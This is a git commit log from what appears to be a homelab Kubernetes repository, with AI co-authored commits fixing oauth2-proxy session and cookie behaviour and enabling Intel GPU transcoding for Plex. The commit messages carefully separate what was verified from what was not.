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jakman85 8c12a1e525 Merge pull request 'feat(auth): declare API paths per service, so --api-route can ship at all' (#34) from feat/oauth2-proxy-api-route-per-app into main
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Reviewed-on: #34
Reviewed-by: Keith Jackson <[email protected]>
2026-10-02 04:31:56 +00:00
jakman85 8214642d87 Merge pull request 'feat(gpu): Intel GPU device plugin v0.37.0 — nodes advertise gpu.intel.com/i915' (#36) from feat/intel-gpu-device-plugin into main
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2026-10-02 03:53:50 +00:00
jakman85andClaude Opus 5 2983378496 chore(decisions): record the CI reading, and why the metrics policy is NOT here
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Follow-up to the branch's one substantive commit; no code change.

CI on 99560c2d, read from the commit's /statuses rather than from a tick:
  gate / gate (pull_request)         state=failure   desc='Failing after 1m44s'
  gate / conformance (pull_request)  state=pending   desc='Blocked by required conditions'
The second line is PENDING, not the `success` + "Has been skipped" trap -- the
conformance job is gated on the gate job, which failed, so it never ran.

MY LOCAL `approval-policy: green` WAS MEANINGLESS AND I NEARLY REPORTED IT AS
EVIDENCE. ci/approval-policy.sh:47 reads GITHUB_EVENT_NAME, unset outside CI, so
it short-circuits to "N/A": a clean local gate STRUCTURALLY cannot catch a
sensitive-path problem. Verified by re-running with
GITHUB_EVENT_NAME=pull_request PR_NUMBER=34, where the stage evaluates and fails
CLOSED on the missing token while every other stage stays green -- which bounds
the CI failure to that one stage. I could NOT read CI's job log to confirm it
from CI's own output: this Gitea answers 404 on /actions/runs and on
/actions/jobs/{task}/logs, so only /actions/tasks is available. Attribution
therefore rests on the local reproduction plus the sensitive-path rule, not on
CI's log -- weaker evidence than PR #28 had, named rather than papered over.

Branch protection and the runner re-measured against the live API (CLAUDE.md
2b), not inherited from the CLAUDE.md table: protected=True,
user_can_push=False, enable_status_check=True, contexts=['gate / gate
(pull_request)'], required_approvals=1; runner id=1 incluster-dind online. So a
human is required on every PR here regardless of path. I did NOT provoke a
rejected push to main, so user_can_push is the API's word only.

DECLINED, with reasons: bundling Ines Dubois's metrics-ingress NetworkPolicy.
The coordinator asked for my judgement and the answer is to queue it as the next
PR, not to drop it. Principally because it is a MODEL question, not a policy to
bolt on: schema 1.6.0's observability.metricsEndpoint already renders the
monitoring-namespace ingress allow, and what the model cannot express is a
SECOND metrics endpoint belonging to a sidecar the RENDERER injected. Keying a
bespoke policy off the pod label auth-mode=forward-auth hardcodes "forward-auth
implies 44180" instead of deriving it -- the "list, don't derive" anti-pattern
oauth2-proxy-cookie-names-distinct assertion (5) forbids, one directory from the
check that forbids it. Also: it is a trust-boundary ingress allow and a
different requirement set (R-NET-01/02, R-OBS-01 vs R-IDP-02), so it should not
be reviewed in the shadow of an --api-route headline; the conflict argument does
not apply to my diff, which regenerates TWO goldens not five, and a
CiliumNetworkPolicy is a different document in files git merges independently;
every fact in the finding is hers and I have measured none of it; and the
PodMonitor it serves is in HER PR #29, so shipping the policy alone would open
an ingress allow for a scraper that selects nothing.

Also records that the sidecars' metrics remain UNSCRAPABLE and that this branch
does not change that.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-10-01 22:37:06 -05:00
jakman85andClaude Opus 5 4e1b169256 feat(gpu): Intel GPU device plugin v0.37.0, in its own Flux Kustomization
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Makes the three prod nodes advertise `gpu.intel.com/i915`. This is the measured
fix for the Plex hardware-transcoding blocker, and it only makes the resource
EXIST — no consumer is switched over here.

WHY. The `/dev/dri` hostPath merged on main @ cdf3e14 makes the device node
visible and not openable. Measured in the running pod on k3s-prod-2:

    uid 0,    O_RDWR -> EPERM "Operation not permitted"
    uid 1000, O_RDWR -> EPERM "Operation not permitted"

EPERM from the device cgroup, not EACCES from file permissions — root on the
HOST opens the same device rc=0, the node is unified cgroup2fs, and the
container's runc config.json carries one deny-all rule with `linux.devices:
None`. A hostPath is a filesystem operation: it makes the device node appear
and adds no cgroup allow rule, because Kubernetes cannot infer one from a
volume. A device plugin's Allocate response is what makes kubelet populate
`linux.devices` AND the matching cgroup allow rule — verified in the v0.37.0
source, which emits `DeviceSpec{HostPath, ContainerPath, Permissions: "rw"}`
per DRM node. It is the only non-privileged way to get there; `privileged:
true` is blocked by Kyverno restrict-host-namespaces under Enforce in app
namespaces, and `plex` is labelled app-namespace=true.

PLACEMENT: its own Kustomization (dependsOn cilium, wait:true), not a line in
platform/kustomization.yaml. The shared tier was cheaper and needed no human
reviewer on approval-policy.json's terms, but it is wait:true over eleven-plus
components and the repo already argued this when Cilium was split out: its
Ready condition cannot tell "the plugin is wedged" from "longhorn is slow", the
only emergency valve is freezing the whole tier, and the tier's 10m/5m
interval/timeout are called out there as wrong for a 3-node DaemonSet rollout —
which is exactly what this is. Worse here than average: platform gates
platform-config gates apps-wave-0 (wait:true) gates apps-wave-1, so a plugin
that never went healthy inside it would stall every app — a component added to
fix a silent no-op would have gained the power to cause a real outage.
Touching clusters/** costs nothing extra: required_approvals:1 with
block_admin_merge_override:true applies to every PR here regardless of path.

wait:true is a health SIGNAL, not a gate — nothing in the rendered graph
dependsOn this, so it gates nothing, while making `flux get kustomization
intel-gpu-plugin` answer "did it come up on all three nodes".

NON-CHOICES, each argued in the README: standalone DaemonSet over the operator
(no CRD, controller-manager, webhook or second namespace to keep healthy);
`--shared-dev-num` left at the upstream default of 1 (a higher count is a lie
the scheduler believes — no GPU-side partitioning backs it, so it converts a
loud Unschedulable into a quiet "transcodes are slow"); `--health-management`
left OFF, the one flag that would open a device and reintroduce this EPERM; no
NFD overlay (all three nodes identical); no supplementalGroups (the pms-docker
cont-init hook already adds `plex` to each device's group, measured live as
Groups: 44 100 992 1000).

The DaemonSet is vendored as `kubectl kustomize` output of upstream v0.37.0's
gpu_plugin/base, rather than referenced as a remote kustomize base, for the
reason external-snapshotter records: a remote base is git-fetched on every
reconcile and those fetches have flaked a whole tier. It is generated rather
than byte-copied because upstream mixes YAML sequence-indentation styles within
the one document and ci/yamllint.yaml sets `indent-sequences: consistent`, so a
verbatim copy is a hard lint ERROR — measured, not guessed: the first gate run
of this branch returned rc 1 BLOCKED on exactly that. The transform is proven
formatting-only (`yq -P 'sort_keys(..)'` of both diffs clean). Image pinned to
docker.io/intel/intel-gpu-plugin:0.37.0 (digest verified present:
sha256:7001200071db10587fc31184eedda4f5cf291efba737adf85a8c80539f7fa5e1).

ORDERING — DO NOT REORDER. catalog/render.py, catalog/plex.yaml and
apps/wave-0/plex.yaml are untouched. The renderer change that emits
`gpu.intel.com/i915: 1` instead of the hostPath must NOT land until this plugin
is merged AND confirmed advertising the resource on all three nodes: a request
for a resource no node advertises makes the Plex pod Unschedulable, and
apps-wave-0 is wait:true with apps-wave-1 depending on it.

VERIFIED: manifests render offline (component, clusters/base, both overlays);
no node currently advertises gpu.intel.com/* (queried — "NONE"); the plugin
only lists/stats devices and never opens one (no os.Open/OpenFile/ioctl/syscall
anywhere in its 908-line source); all four app-scoped Kyverno policies are
gated on app-namespace=true and the new namespace is labelled "false".
NOT VERIFIED: anything runtime. The plugin has never executed, the resource has
never been advertised, and the open() test has not been re-run. Gate returned
rc 3 (UNDETERMINED) with exactly the three expected skips — not green.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-10-01 22:25:33 -05:00
jakman85andClaude Opus 5 99560c2d22 feat(auth): declare API paths per service, so --api-route can ship at all
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PR #28 fixed the cookie collision, the 5-minute session and the missing metrics
listener in one renderer function, and deliberately declined `--api-route`
because the config model could not express the difference between two apps.
This adds the hook it was missing and sets the flag only where a measurement
says to.

THE DEFECT. oauth2-proxy answers an unauthenticated request with a 302 to
Keycloak. Its AJAX guard would send 401 instead, but it fires only on an EXACT
`Accept: application/json`, which these apps' JavaScript does not consistently
send. So a browser XHR gets a 302, FOLLOWS IT INVISIBLY, has it satisfied
silently by the live SSO session, and resolves 200 carrying the app's HTML where
the JavaScript expected JSON. On a write it is worse: a browser following a 302
re-issues a POST as a GET and DROPS THE BODY, so the operator's change is
discarded and the UI reports success.

MEASURED, on two apps and two different paths -- which is the whole argument:
  jackett 2026-09-30: 33 x 302 vs 2 x 401 on /api/ paths, and 4 of 6 POSTs
          answered by the proxy and never reaching Jackett (upstream `-`).
  radarr  2026-10-01, 23h after PR #28 deployed (pod radarr-7d55cbffb9-42hmh,
          0 restarts): 232 unauthenticated requests in the pod's whole life and
          ALL 232 are the same call -- POST /signalr/messages/negotiate from a
          browser, 302, upstream `-`. A left-open tab whose session the cookie
          rename orphaned, polling forever, silently redirected every time and
          NEVER re-prompting. The reported symptom, still in production.

So radarr's broken path is /signalr/ and jackett's is /api/, and PIHOLE SERVES
NO /api/ AT ALL. One function renders all five sidecars, so the cheap fix is a
constant -- and a constant applies one app's measurement to four apps nobody
measured. `auth` was `additionalProperties: false`, so there was no per-app
hook. Adding one named, documented key is the change; the block stays closed.

  schemas/servicedefinition.schema.json  1.8.0 -> 1.9.0: optional
      `auth.apiRoutes`, a list (radarr needs two, and --api-route is natively
      repeatable) of anchored path regexes. Plus the shape invariant that a
      non-empty list requires mode: forward-auth, since no sidecar is rendered
      for oidc/native/none and declaring it there would be a SILENT NO-OP.
  catalog/render.py  emits one --api-route per entry, in order, and RAISES on
      an unanchored entry. The flag is SINGULAR -- verified against the pinned
      v7.8.1 binary's own --help; --api-routes does not exist and the proxy
      refuses to start with it.
  catalog/{jackett,radarr}.yaml  the two measured apps.
  catalog/{pihole,sonarr,qbittorrent}.yaml  comments recording that they get
      NOTHING, and why. Sonarr and qBittorrent were measured (0 unauthenticated
      requests in 23h) and left alone: that is evidence of no TRAFFIC, not of no
      need, and sonarr being nearly radarr's codebase is what makes the guess
      tempting and still a guess.
  apps/wave-0/jackett.yaml, apps/wave-1/radarr.yaml  regenerated. Only TWO
      goldens change; pihole/qbittorrent/sonarr are byte-identical to main,
      which is the per-app property proving itself on the real tree.

BREADTH IS THE DANGEROUS DIRECTION AND IT IS NOT SYMMETRIC. A missing
--api-route is a silent 302. A too-broad one answers a plain PAGE LOAD with
401, so a logged-out operator gets a bare error page and is never offered a
sign-in -- the service looks permanently broken. Each entry must therefore
match `^\^/[A-Za-z0-9._~/-]+(\.\*|\$)?$`: anchored at ^/ then literal path
characters. `^/`, `^/.*`, `.*`, `/api/` and `^/api/|^/` are all rejected, all
five provoked. Alternation is refused rather than supported because the flag is
repeatable, so one entry per route costs nothing.

NEW GATE CHECK: conformance/tests/l0-static/oauth2-proxy-api-routes-per-app
(whole-repo scope, so ci/l0.sh's --include-scope union runs it on every
invocation; no bespoke stage, which whole-repo-invariants-wired would fail).
It is a SIBLING of oauth2-proxy-cookie-names-distinct, not an extension of it:
that check's subject is cookie IDENTITY and shares neither inputs nor failure
mode with this, so bundling them would make its name a lie and let a future
api-route decision be expressed only by weakening a COOKIE check.

The check exists for one reason the other gates cannot cover: render-golden
compares the render to the goldens, so a RENDERER CONSTANT plus regenerated
goldens AGREE WITH EACH OTHER while both being wrong. Provoked: the regen exits
0 -- render-golden is happy -- and this check exits 1 with 15 failures naming
pihole, qbittorrent, radarr and sonarr individually. It also asserts the
anchoring pattern is the SAME in the schema and the renderer, because three
surfaces guard this and if they drift the loosest wins silently.

Tested in both directions on throwaway trees outside the repo: compliant tree
rc 0 / 43 assertions / 6 sidecars; pre-change tree rc 1 / 11 failures; and four
targeted mutations (hand-edited golden, widened regex, renderer constant,
deleted schema pattern) each firing their own assertion class and nothing else.

ALSO FOLDED IN (coordinator's request; defect is in the file I own). _selftest()
reached _cookie_name() through a bare `next(genexpr)` with NO default, so
deleting the --cookie-name emission -- the exact mutation that assertion exists
to catch -- raised StopIteration, which escaped _selftest() BEFORE its collected
`SELFTEST FAIL:` lines were printed. Right verdict, zero diagnostics, and it
masked every other assertion the same mutation broke (found by Desmond Oyelaran
while wiring the selftest into the render-golden stage; his PR #33 is not in this
base -- origin/main @ cdf3e14 drives the selftest from no stage, checked). Fixed
with `next(..., None)` plus an explicit check(), so a missing flag reports as a
NAMED assertion. Provoking it exposed three more instances of the same class in
the same block -- `side = fa_containers[1]`, `side["env"][0]`, and the fa_svc
lookup all raise rather than assert when the sidecar is absent -- so all four are
now None-tolerant, and the two fixtures added for --api-route were written that
way from the start. Measured on throwaway copies:
  --cookie-name deleted:  before rc 1 / 0 FAIL lines / StopIteration
                          after  rc 1 / 3 FAIL lines / no traceback
  sidecar not appended:   before rc 1 / 0 FAIL lines / IndexError
                          after  rc 1 / 20 FAIL lines / no traceback
Goldens are unchanged by this part; it touches _selftest() only.

NOT verified, in full in the handoff entry: no browser round-trip by anyone for
this flag -- that a 401 REPAIRS the operator's experience is reasoned from HTTP
semantics, not watched. `^/api/` on radarr is PR #30's measurement of radarr's
pre-fix pod, not mine; the current pod has zero /api/ traffic. Sonarr and
qBittorrent are UNMEASURED, not cleared. --cookie-refresh is still unexercised
(0 AuthSuccess on all five pods). Nothing was applied; the live pods are still
the pre-change spec.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-10-01 22:07:08 -05:00
jakman85 cdf3e14e27 Merge pull request 'feat(plex): hardware transcoding via hardware.gpu: intel-quicksync, plus the runbook for the manual last mile' (#32) from feat/plex-quicksync into main
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2026-10-02 02:17:48 +00:00
jakman85 41a20dfd20 Merge pull request 'feat(schema): declare a host hardware capability, hardware.gpu: intel-quicksync' (#27) from feat/sd-hardware-capability into main
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2026-10-02 02:17:23 +00:00
jakman85andClaude Opus 5 df1fd1b3d1 chore(decisions): record the rebase onto main @ 08deb20
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The runbooks/README.md conflict was two index entries appended at the
same point, not a semantic one. Both kept, in the file's grouped order.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-10-01 21:06:34 -05:00
jakman85andClaude Opus 5 0fee584e3a feat(plex): opt into hardware.gpu: intel-quicksync, and write the runbook for the step GitOps cannot reach
Plex has been transcoding in software on hardware that can do it in the iGPU. This
opts its ServiceDefinition into the `hardware` capability from #27 and re-renders.

catalog/plex.yaml gains four lines of YAML and the comment that explains them:

    hardware:
      gpu: intel-quicksync

which renders exactly two things into apps/wave-0/plex.yaml and nothing else — a
`dri` hostPath volume (/dev/dri, type: DirectoryOrCreate) and a read-write /dev/dri
volumeMount on the app container. Whole-tree render diff: 6 added lines, one file.

The comment records what is not obvious from the four lines: the device exists on
ALL THREE prod nodes with i915 bound (so no nodeSelector is rendered and none is
wanted); why `supplementalGroups` would be INERT rather than a hardening (the
image's cont-init hook adds the plex user to the device's group inside the
container, and s6-setuidgid then REPLACES the process group list from /etc/group,
discarding anything Kubernetes supplied); and why `DirectoryOrCreate` is
load-bearing (apps-wave-0 is wait:true with apps-wave-1 depending on it, so a
failed mount would stall the whole app tier for a feature that is not).

THE FEATURE IS INERT UNTIL A HUMAN CLICKS A BOX, and that is the part this commit
is really about. Mounting the device does not enable hardware transcoding; Plex's
`HardwareAcceleratedCodecs` preference does, and it is ABSENT from Preferences.xml
— the toggle has never been on. It cannot be automated: a bounded grep across the
running image's entire init surface (/etc/cont-init.d, /etc/services.d,
/etc/fix-attrs.d, /plex-common.sh, /usr/local/bin) found ZERO PLEX_PREFERENCE*
support, and the six setPref keys the image does write are all unrelated. So
runbooks/plex-quicksync.md is the procedure, registered in the configMapGenerator
(a runbook in git with no generator entry is reviewed, merged, and still a 404) and
indexed in runbooks/README.md. It covers the GitOps/manual boundary, the toggle and
the real preference keys (including the widely-cited one that does not exist and
the upstream misspelling nobody should "fix"), verification via `Transcode (hw)` on
the Plex dashboard — stated plainly as the ONLY proof, because Plex renders no
ServiceMonitor and an alert could never fire — the device-cgroup failure to expect
first with its Intel-device-plugin fallback, and the floating-`:latest` caveat.

Stacked on #27 (feat/sd-hardware-capability), which is open and unmerged; that
branch's commit is in this range by design and this must merge after it.

NOT VERIFIED, and the handoff says so at length: hardware transcoding has not been
observed working. Whether containerd's device cgroup lets a non-privileged pod
open() a bind-mounted char device is an open question that only deploying settles,
and the Plex-side toggle was still unset at the time of writing. A green gate
proves the manifest renders; it proves nothing about transcoding.

Gate (pinned toolbox, worktree): rc 3 — UNDETERMINED, not green. Passed:
decisions-log, lint, l0, render-golden, l1, approval-policy. Skipped (the known
local ceiling): spec-immutability (no sibling spec repo), gitea-settings (no
SETTINGS_API_TOKEN), conformance (CLUSTER_AVAILABLE unset, so L2/L3 did not run).
No fourth skip, nothing failed.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-10-01 21:05:17 -05:00
jakman85andClaude Opus 5 f716e9d167 chore(decisions): record the rebase onto main @ 08deb20
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The render.py conflict was textual adjacency with PR #28's constants
block, not a semantic one. Both sides kept.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-10-01 21:01:16 -05:00
jakman85andClaude Opus 5 fa4765bb3e feat(schema): declare a host hardware capability, hardware.gpu: intel-quicksync
A ServiceDefinition could not say it needs the host's Intel QuickSync render
device. The schema is `additionalProperties: false`, so there was no authorable
form for it at all, and `apps/` is generated — a hand-edit would be reverted by
the next render.

Adds optional top-level `hardware`, with one optional member `gpu`, an enum
whose only current value is `intel-quicksync` (schema 1.7.0 -> 1.8.0).

The enum is the point. The SD declares WHAT CLASS of device it needs; the
hostPath and the mount live only in catalog/render.py. Migrating to the Intel
GPU device plugin (`gpu.intel.com/i915` resource requests, no hostPath) is then
a renderer change with zero catalog edits. Letting an SD name `/dev/dri`
directly would look simpler and make that migration a catalog-wide edit, so
both the schema description and the renderer contract say so explicitly.

When `hardware.gpu == intel-quicksync`, r_deployment emits exactly two things,
on the app container only:

  - a hostPath volume `dri` -> /dev/dri, type DirectoryOrCreate;
  - a read-write volumeMount of it at /dev/dri (VA-API opens the render node
    read-write, so deliberately not readOnly).

Mounting the device is sufficient. In particular NO
podSecurityContext.supplementalGroups is emitted, and adding one would be a
regression rather than a hardening. Measured in the running container on
prod-2, 2026-09-30:

  PID 1   s6-svscan            Uid: 0     Gid: 0     Groups: 0
  pid 246 Plex Media Server    Uid: 1000  Gid: 1000  Groups: 100 1000

The service is started with `exec s6-setuidgid plex ...`, and the child's group
list is exactly the /etc/group account-database list — root's gid 0, which
PID 1 holds, is gone. That is a setgroups() that REPLACES rather than appends,
so anything Kubernetes supplies is discarded before the app starts. What works
is the image's own /etc/cont-init.d/45-plex-hw-transcode-and-connected-tuner,
which stats each /dev/dri char device, groupadds a matching group inside the
container and usermods the app user into it, every start, nothing hardcoded.
An inert supplementalGroups would have read as the mechanism to whoever
debugged this next, so the absence is documented at the emission site and
asserted by --selftest. Corollary: the hook re-stats on every start, so host
GID drift is self-healing and no GID is pinned anywhere in this repo.

`DirectoryOrCreate` is load-bearing. A node that comes back without the render
device (rebuild, BIOS change, driver regression, hardware swap) must degrade
the workload to software transcoding, not fail the mount: apps-wave-0 is
`wait: true` and apps-wave-1 dependsOn it, so a failed hostPath mount stalls
the whole app tier for a feature that is not load-bearing. /dev is tmpfs, so
the empty directory the kubelet creates leaves nothing durable behind. Its cost
— a missing device is silent, and no metric exists to alert on — is recorded in
the contract rather than papered over with an alert that could not fire.

Also deliberately NOT emitted: no `privileged: true` (Kyverno restrict-host-
namespaces is Enforce and it is not needed), no nodeSelector (placement is a
separate concern with its own justification), no resource requests (there is no
app-container resource render path).

No catalog entry uses the field. Re-rendering `--all catalog -o apps` is a zero
diff, which is the proof the change is inert until opted into.

Self-tests in the existing check(...) style: the positive (volume + mount, and
no securityContext / privileged / nodeSelector), the negative (an SD without
`hardware` gains no volume, no mount, no securityContext — mirroring the
podSecurityContext negative) and a pass-through case (an SD's own
podSecurityContext survives byte-for-byte). Note that NO gate stage runs
`render.py --selftest`; they were run by hand and the gap is recorded in the
handoff.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-10-01 20:54:35 -05:00
jakman85 08deb208a1 Merge pull request 'fix(jackett): root-cause the oauth2-proxy session loss; the fix cannot be scoped to one app' (#30) from fix/jackett-oauth2-proxy-session into main
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2026-10-02 01:47:08 +00:00
jakman85 b763f11e19 Merge pull request 'feat(node-health): probe the Intel render device, read-only' (#31) from feat/node-health-render-device into main
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2026-10-02 01:42:00 +00:00
jakman85 6caa5f2ee5 Merge pull request 'fix(auth): five oauth2-proxy sidecars shared one cookie, died at 5 minutes, and served no metrics' (#28) from fix/oauth2-proxy-cookie-collision-fleet into main
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2026-09-30 21:39:40 +00:00
jakman85andClaude Opus 5 c89537c465 docs(auth): record what PR #30's CI actually ran, not what its tick said
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Read the commit's /statuses rather than the check mark:

  gate / gate (pull_request)         state=success  desc='Successful in 1m41s'
  gate / conformance (pull_request)  state=success  desc='Has been skipped'

The second is CLAUDE.md 2b's trap in the wild -- a SKIPPED Gitea job reports
state=success, so that green tick certifies nothing. It agrees exactly with
the local rc 3: the offline L0/L1 subset passed, L2/L3 never ran. Anyone
reading the PR's check mark alone would conclude the opposite.

Also re-measured branch protection instead of trusting the table in CLAUDE.md:
GET /repos/.../branches/main -> protected=true, user_can_push=false.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-30 16:13:06 -05:00
jakman85andClaude Opus 5 7df72db487 docs(decisions): record what the CI gate actually reported, not the tick
gate / gate (pull_request) Successful in 1m39s
gate / conformance (pull_request) Has been skipped
The PR's required check went green as "Successful in 1m40s" — a real run, not
"Has been skipped". But .gitea/workflows/gate.yml:138 is
`./ci/gate.sh || [ "$?" -eq 3 ]`, so a green tick means exit 0 OR 3 and cannot
distinguish them. Fetched the job log and read the gate's own headline:
MERGE GATE: UNDETERMINED, one stage that did not run (spec-immutability).

So CI is rc 3 too, and the tick is the tolerance swallowing it. Recorded that
plainly rather than leaving "CI green" to be read as rc 0.

Also corrects a claim that had gone stale within the same entry: CI ran two
stages my worktree run could not, and both passed — gitea-settings (the live
Gitea matches infra/gitea/expected-branch-protection.json; runners online 1)
and approval-policy with real PR context (no sensitive paths touched, so
infra/ansible/** needs no human reviewer). My local run skipped both, and the
handoff said branch protection was UNVERIFIED. It is now measured, so saying
otherwise would have left a known-false line in the log.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-30 16:12:56 -05:00
jakman85andClaude Opus 5 dc136a4943 fix(auth): the forward-auth sidecar also died at 5 minutes and served no metrics
gate / gate (pull_request) Successful in 1m42s
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Widens the cookie-collision fix to the whole sidecar contract, because all three
defects live in the same function and land on the same five goldens, so they are one
atomic change or they are five conflicting ones.

Added to _oauth2_sidecar_container(), on top of the cookie-name/cookie-domain fix:

  --cookie-refresh=2m30s
      The session died FIVE MINUTES after sign-in. Keycloak's homelab realm issues
      300-second access tokens (MEASURED on a live session: expires - created =
      300.000s exactly, with refresh_token:true on the same line), and
      --cookie-refresh defaults to 0 -- which the pinned binary's own help spells
      "0 to disable". So the proxy held a refresh token it was never told to spend.
      Refresh at HALF the lifetime: two chances to renew before expiry.
      This, not the collision, is what dominates the rejection VOLUME -- ~95% of
      radarr's 155 rejections in 12h carry no cookie at all.

  --metrics-address=0.0.0.0:44180 + a `metrics` container port
      Without the flag the /metrics listener never starts, so no per-app sidecar was
      serving metrics at all (`ports` was ['http'] on all six). 44180 is the
      platform's existing convention, measured not chosen: the shared proxy already
      runs the same flag and port with 2 ready endpoints.
      PREREQUISITE ONLY -- NOT scraped. A container port is not a Service port, and
      each namespace's default-deny baseline is `ingress: []`, so this is unreachable
      until a Service port (or PodMonitor), a monitoring allow and a ServiceMonitor
      land. Do not read this as "the sidecars have metrics now".

EVERY FLAG VERIFIED AGAINST THE PINNED v7.8.1 BINARY (`--help`), not against docs or
the shared proxy -- which runs v7.15.3 and could not have vouched for v7.8.1:
  * --metrics-address exists in 7.8.1, so this cannot crashloop the pods
  * --cookie-refresh ... "0 to disable" confirms the default
  * --cookie-name ... (default "_oauth2_proxy") -- this confirms from the
    IMPLEMENTATION the constant the new L0 check is built on
  * --api-route is SINGULAR; the plural does not exist and the proxy refuses to start
  * --session-cookie-minimal exists and is mutually exclusive with --cookie-refresh,
    so dropping --pass-access-token is a least-privilege argument, never a size fix

NOT done, deliberately: --api-route=^/api/ renderer-wide. It was measured on jackett
and PiHole does not serve /api/, so a renderer constant would apply one app's path
shape to five. It needs a per-app hook the `auth` schema forbids
(additionalProperties: false) -- a schema change, separate PR.

Also records the mechanism that made this INTERMITTENT, as a renderer comment, because
nobody would reconstruct it from the flags: the loser does not just fail to read the
cookie, it calls ClearSession, which expires the cookie on its own --cookie-domain --
the whole zone. The *arr UIs poll (/api/v3/command, /api/v3/queue/details,
/signalr/negotiate), so every poll carrying an undecryptable cookie clears it again:
A LEFT-OPEN RADARR TAB DELETED JACKETT'S COOKIE EVERY FEW SECONDS, from another
namespace, with no user action. That is why signing in again never helped for longer
than the gap between two polls.

Crafty's counter-evidence resolved: the 81:1 ratio was a 24h window straddling a
13h52m-old pod. Bounded to the fixed process, crafty's ENTIRE life is 3 rejections in
6743 log lines, with ZERO `removing session` and ZERO `cookie signature not valid`
against unfixed radarr's 8 and 8. The eviction fingerprint is gone where the fix is
deployed. It logged 0 AuthSuccess too, so that is absence-of-the-failure-mode rather
than a session watched working -- stated as such in the handoff.

Renderer selftest gains six assertions, including a --cookie-refresh check that PARSES
the duration and requires 0 < refresh < 300s (so 2m30s/150s/2.5m all stay green while a
silent widening past the token lifetime does not). NOTE, and it is in the handoff as the
top follow-up: NOTHING IN ci/ RUNS `render.py --selftest`, so those assertions are
dev-time only. conformance/tests/l0-static/auditability-proofs-producible/check.sh:291
already drives other tools' selftests for exactly this reason and is the one-line fix.

Gate (toolbox, worktree shim with the spec repo mounted at /home-network-k3s): rc 3
UNDETERMINED. Green: spec-immutability, decisions-log, lint, l0, render-golden, l1,
approval-policy. Skipped: gitea-settings (no local token), conformance (declared).
The new L0 check PASSES on this branch -- all five apps fixed in one commit.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-30 13:07:43 -05:00
jakman85andClaude Opus 5 a78f010368 feat(node-health): probe the Intel render device, read-only
gate / gate (pull_request) Successful in 1m40s
gate / conformance (pull_request) Has been skipped
The prod nodes already have a working Intel render device — measured by hand on
all three on 2026-09-30. Nothing here installs, loads or changes anything; the
point is that the measurement now re-runs on every health run instead of decaying
silently in a handoff note.

The failure being hunted is silent by construction: Plex hardware-transcodes
through /dev/dri/renderD128, and if that node stops existing (node rebuild, a BIOS
change that disables the onboard IGD, a kernel that binds a different DRM driver)
Plex falls back to software transcoding on its own and the only symptom is a hot
CPU.

All of it is in the UNPRIVILEGED collector pass: lstat() on /dev/dri/*,
grp.getgrgid() for the owning group name, the /sys/class/drm/card*/device/driver
symlink for the bound driver, /sys/bus/pci/devices/*/class for display-class
devices whether or not a driver is bound, /sys/class/drm/card*/engine/* for the
vcs*/vecs* media engines, /proc/modules and /proc/cmdline. lspci and vainfo are
probed but never depended on — neither is in node_baseline's package floor.

Three checks, in the role's existing PASS/WARN/FAIL/SKIP/INFO shape:

  graphics.render_device  the outcome — a usable character-special renderD* node.
                          FAIL only when a display device IS on the PCI bus and
                          there is still no render node. SKIP when the machine has
                          no display device at all (a VM guest), which is why the
                          PCI scan is separate from the DRM scan: /sys/class/drm/
                          card* exists only once a driver has BOUND.
  graphics.drm_driver     what is bound, against the new
                          node_health_graphics_expected_driver default (i915), so
                          the comparison is data and not task logic. `xe` bound in
                          place of i915 is a WARN, not a FAIL: the device works but
                          the userspace media stack differs.
  graphics.media_stack    INFO only, deliberately. GuC/HuC off (i915.enable_guc=0)
                          is an accepted state that costs low-power H.264 encode
                          quality only, and no host vainfo is not a defect at all
                          because Plex ships its own libva inside its container.

The render node's owning group and GID are REPORTED, never asserted: `render` is a
systemd dynamic allocation rather than a Debian static gid, so a rebuild can
legitimately move it off the 992 measured today, and Plex's container entrypoint
stats the device and joins whichever group owns it. Drift stays visible without
being an error.

Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
2026-09-30 13:04:43 -05:00
jakman85andClaude Opus 5 f4a155a807 docs(decisions): the collision is measured; that it CAUSES the failures is not
gate / gate (pull_request) Failing after 1m43s
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Counter-evidence was raised against this branch: over a 24h Loki window crafty -- the
app already carrying the cookie fix -- showed the WORST auth-rejection ratio of the set
(crafty 81:1, radarr 67:1, jackett 39:4). Taken at face value that says the fix does not
work. It does not say that, and it does not say the opposite either.

Re-measured bounded to the fixed pod, read from each sidecar's OWN log rather than Loki
(`kubectl logs` on a pod with 0 restarts cannot reach a pod older than itself, so a
window inside the pod's age is inside the fixed spec by construction):

    namespace      age(h) rst  reject success    ratio  cleared  badsig
    crafty           13.9   0       3       0      n/a        0       0   <- FIXED, whole life
    radarr          422.5   0     155       1  155.0:1        8       8
    jackett         422.6   0      39       4    9.8:1        1       1
    pihole/qbittorrent/sonarr/shared: 0 reject, 0 success

Three findings, kept apart:

1. `crafty 81:1` is a WINDOW ARTEFACT. The fixed pod has emitted 3 rejections in its
   entire 13.9h life; the 81 came from a 24h window straddling it, i.e. from the pre-fix
   pod. It is not evidence against the fix and must not be cited as such.
2. The fix is still NOT SHOWN TO WORK. Crafty logged ZERO AuthSuccess in that window --
   no traffic, so no ratio. Absence of failure against absence of traffic proves nothing.
3. The collision mechanism IS independently confirmed, and it is a MINORITY of the
   rejections. `cookie signature not valid` + `removing session` is its fingerprint -- a
   cookie IS present, written with a key this instance does not have, so it cannot decrypt
   it and then ClearSession expires it zone-wide. radarr 8 of 155 (5%), jackett 1 of 39,
   fixed crafty 0. ~95% of radarr's rejections carry no cookie at all and point at the
   session-lifetime and 302-on-XHR mechanisms this branch does not touch.

So the handoff now says, at the top and in both evidence sections, that "the instances
collide" and "the collisions cause the reported symptom" are different claims and only
the first is supported. The four fixes stand -- distinct cookie names are correct
regardless -- but nothing here should be read as a cure.

Also records three deliberate NON-fixes with their reasoning (--cookie-refresh, which all
four of my apps need as much as jackett does and which belongs in the renderer rather than
in a golden; --api-routes for 302-on-XHR, which is path-shaped and needs a schema change;
and sidecar metrics, which I judged overreach for a check whose subject is cookie
identity), and two gate facts:

